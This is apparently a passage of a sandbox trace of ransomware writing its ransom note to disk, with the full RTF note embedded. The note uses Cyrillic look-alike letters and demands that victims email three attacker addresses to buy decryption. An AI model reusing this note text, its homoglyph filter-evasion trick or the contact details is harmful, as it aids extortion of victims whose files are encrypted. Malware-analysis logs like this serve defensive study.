dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nç\x1b\\ñ-¦\x9cWÈ,çz\x1cL\x86\x8eçê1\x0f@\r\x07\x91hãÏ5}@3i", lpUsedDefaultChar=0x0) returned 14086 [0035.637] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.638] CloseHandle (hObject=0x1b4) returned 1 [0035.639] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\!bwng_info!.rtf")) returned 0xffffffff [0035.639] GetLastError () returned 0x2 [0035.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k 